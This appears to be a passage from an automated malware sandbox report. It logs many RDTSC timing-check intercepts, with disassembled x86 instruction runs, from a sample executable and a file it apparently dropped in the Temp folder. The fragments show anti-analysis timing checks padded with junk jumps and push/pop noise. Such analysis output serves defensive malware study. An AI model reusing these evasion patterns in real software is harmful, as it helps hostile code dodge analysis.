Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520076 second address: 55200AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dx, E354h 0x0000000f push edi 0x00000010 mov ah, 0Fh 0x00000012 pop edi 0x00000013 popad 0x00000014 xchg eax, ecx 0x00000015 pushad 0x00000016 mov ebx, ecx 0x00000018 jmp 00007F99511DF62Ah 0x0000001d popad 0x0000001e mov dword ptr [ebp-04h], 55534552h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 mov al, 6Eh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520C9D second address: 5520CE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A291h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F9950E9A28Eh 0x00000010 cmp dword ptr [75AB459Ch], 05h 0x00000017 pushad 0x00000018 jmp 00007F9950E9A28Eh 0x0000001d mov di, ax 0x00000020 popad 0x00000021 je 00007F99C13C7FA9h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a movzx esi, bx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520CE9 second address: 5520D35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, dx 0x00000010 pushfd 0x00000011 jmp 00007F99511DF639h 0x00000016 and ecx, 7BDD4C46h 0x0000001c jmp 00007F99511DF631h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553001F second address: 5530023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530023 second address: 5530027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530027 second address: 553002D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553002D second address: 5530048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 8CE1h 0x00000007 mov ecx, 339E161Dh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movzx ecx, di 0x00000016 mov di, 0D24h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553017E second address: 5530214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 call 00007F9950E9A298h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007F99C13AEA6Bh 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F9950E9A297h 0x0000001c adc ecx, 303D299Eh 0x00000022 jmp 00007F9950E9A299h 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F9950E9A290h 0x0000002e jmp 00007F9950E9A295h 0x00000033 popfd 0x00000034 popad 0x00000035 cmp dword ptr [ebp+08h], 00002000h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530214 second address: 5530218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530218 second address: 553022B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530BBD second address: 5530BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov ch, dl 0x00000007 popad 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F99511DF62Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530BD7 second address: 5530BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A294h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530BEF second address: 5530C9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F99511DF639h 0x00000011 xchg eax, esi 0x00000012 jmp 00007F99511DF62Eh 0x00000017 mov esi, dword ptr [ebp+0Ch] 0x0000001a pushad 0x0000001b mov si, 44CDh 0x0000001f pushfd 0x00000020 jmp 00007F99511DF62Ah 0x00000025 sbb cx, 71E8h 0x0000002a jmp 00007F99511DF62Bh 0x0000002f popfd 0x00000030 popad 0x00000031 test esi, esi 0x00000033 pushad 0x00000034 call 00007F99511DF634h 0x00000039 pushfd 0x0000003a jmp 00007F99511DF632h 0x0000003f or ecx, 2ECB0F78h 0x00000045 jmp 00007F99511DF62Bh 0x0000004a popfd 0x0000004b pop ecx 0x0000004c mov ax, bx 0x0000004f popad 0x00000050 je 00007F99C16FCD4Eh 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530C9B second address: 5530C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530C9F second address: 5530CBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF638h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530CBB second address: 5530CFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AB459Ch], 05h 0x00000010 jmp 00007F9950E9A296h 0x00000015 je 00007F99C13CFA36h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F9950E9A28Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530CFB second address: 5530D0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530D0A second address: 5530D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530DAD second address: 5530DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99511DF633h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530DC5 second address: 5530DF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9950E9A28Dh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4AC1BD second address: 4AC1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4AC1C1 second address: 4AC1E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9950E9A28Fh 0x0000000b pop esi 0x0000000c jc 00007F9950E9A29Eh 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4AC1E0 second address: 4AC1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B3F61 second address: 4B3F71 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9950E9A286h 0x00000008 jc 00007F9950E9A286h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B3F71 second address: 4B3F9A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99511DF628h 0x00000008 jno 00007F99511DF62Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F99511DF62Ch 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B4109 second address: 4B4126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A298h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B4126 second address: 4B4130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F99511DF626h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B4130 second address: 4B4134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B42B2 second address: 4B42B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B46E1 second address: 4B46E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B8214 second address: 4B8219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B8219 second address: 4B8289 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9950E9A288h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push edx 0x0000000f js 00007F9950E9A288h 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c jmp 00007F9950E9A28Eh 0x00000021 pop eax 0x00000022 mov dword ptr [ebp+122D35DFh], ebx 0x00000028 lea ebx, dword ptr [ebp+12459F7Fh] 0x0000002e jnl 00007F9950E9A289h 0x00000034 sub dword ptr [ebp+122D2D84h], edi 0x0000003a xchg eax, ebx 0x0000003b push esi 0x0000003c push ebx 0x0000003d jmp 00007F9950E9A290h 0x00000042 pop ebx 0x00000043 pop esi 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F9950E9A291h 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B8289 second address: 4B828D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B8454 second address: 4B84A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9950E9A293h 0x0000000e nop 0x0000000f mov edx, 7D2F7616h 0x00000014 push 00000000h 0x00000016 mov di, cx 0x00000019 call 00007F9950E9A289h 0x0000001e push esi 0x0000001f pushad 0x00000020 push esi 0x00000021 pop esi 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 pop esi 0x00000026 push eax 0x00000027 push eax 0x00000028 je 00007F9950E9A288h 0x0000002e push esi 0x0000002f pop esi 0x00000030 pop eax 0x00000031 mov eax, dword ptr [esp+04h] 0x00000035 je 00007F9950E9A2A5h 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B84A5 second address: 4B853A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF637h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F99511DF639h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push ecx 0x00000015 push esi 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop esi 0x00000019 pop ecx 0x0000001a pop eax 0x0000001b mov edx, ecx 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007F99511DF628h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 push ebx 0x0000003a mov si, 4800h 0x0000003e pop ecx 0x0000003f push 00000000h 0x00000041 mov esi, dword ptr [ebp+122D3934h] 0x00000047 push 00000003h 0x00000049 add edi, dword ptr [ebp+122D19B0h] 0x0000004f call 00007F99511DF629h 0x00000054 pushad 0x00000055 jmp 00007F99511DF62Ah 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B853A second address: 4B853E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B853E second address: 4B8561 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF634h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4B8561 second address: 4B857A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jc 00007F9950E9A292h 0x00000011 jbe 00007F9950E9A28Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D8661 second address: 4D8666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4AA7C6 second address: 4AA7CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D6816 second address: 4D681A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D6A8B second address: 4D6AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push edi 0x00000009 jmp 00007F9950E9A291h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F9950E9A28Ah 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D6D32 second address: 4D6D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D6D38 second address: 4D6D49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7297 second address: 4D729B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D729B second address: 4D72A1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7507 second address: 4D7523 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99511DF633h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7843 second address: 4D7847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7847 second address: 4D7851 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F99511DF626h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7851 second address: 4D785B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7DDD second address: 4D7DF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F99511DF62Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7DF2 second address: 4D7DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F9950E9A286h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7DFE second address: 4D7E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D7E02 second address: 4D7E0C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9950E9A286h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D80B5 second address: 4D80BB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D80BB second address: 4D80DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9950E9A291h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4D8250 second address: 4D8255 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4CB603 second address: 4CB609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DA85A second address: 4DA889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007F99511DF62Fh 0x0000000c jmp 00007F99511DF632h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DA889 second address: 4DA8B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F9950E9A28Dh 0x0000000c jg 00007F9950E9A286h 0x00000012 pop edi 0x00000013 popad 0x00000014 push edi 0x00000015 pushad 0x00000016 jmp 00007F9950E9A290h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DA8B9 second address: 4DA8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DE733 second address: 4DE738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEB7C second address: 4DEC3C instructions: 0x00000000 rdtsc 0x00000002 je 00007F99511DF626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e cmc 0x0000000f push dword ptr fs:[00000000h] 0x00000016 jnc 00007F99511DF627h 0x0000001c cmc 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 clc 0x00000025 lea eax, dword ptr [ebp+1248109Bh] 0x0000002b pushad 0x0000002c mov si, 5A69h 0x00000030 mov ax, si 0x00000033 popad 0x00000034 mov dword ptr [eax+01h], esp 0x00000037 clc 0x00000038 lea eax, dword ptr [ebp+124810B1h] 0x0000003e jmp 00007F99511DF62Fh 0x00000043 mov dword ptr [eax+01h], ebp 0x00000046 stc 0x00000047 mov byte ptr [ebp+122D35EBh], 0000004Fh 0x0000004e push 00000000h 0x00000050 push edi 0x00000051 call 00007F99511DF628h 0x00000056 pop edi 0x00000057 mov dword ptr [esp+04h], edi 0x0000005b add dword ptr [esp+04h], 0000001Ch 0x00000063 inc edi 0x00000064 push edi 0x00000065 ret 0x00000066 pop edi 0x00000067 ret 0x00000068 clc 0x00000069 call 00007F99511DF629h 0x0000006e ja 00007F99511DF63Eh 0x00000074 push eax 0x00000075 jnl 00007F99511DF632h 0x0000007b mov eax, dword ptr [esp+04h] 0x0000007f pushad 0x00000080 push eax 0x00000081 push edx 0x00000082 push edi 0x00000083 pop edi 0x00000084 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEC3C second address: 4DEC46 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEC46 second address: 4DEC55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEC55 second address: 4DEC5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEC5A second address: 4DEC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F99511DF634h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEC7D second address: 4DEC8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DEC8E second address: 4DEC98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F99511DF626h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	RDTSC instruction interceptor: First address: 4DD5A6 second address: 4DD5BC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9950E9A28Ch 0x00000008 jc 00007F9950E9A286h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
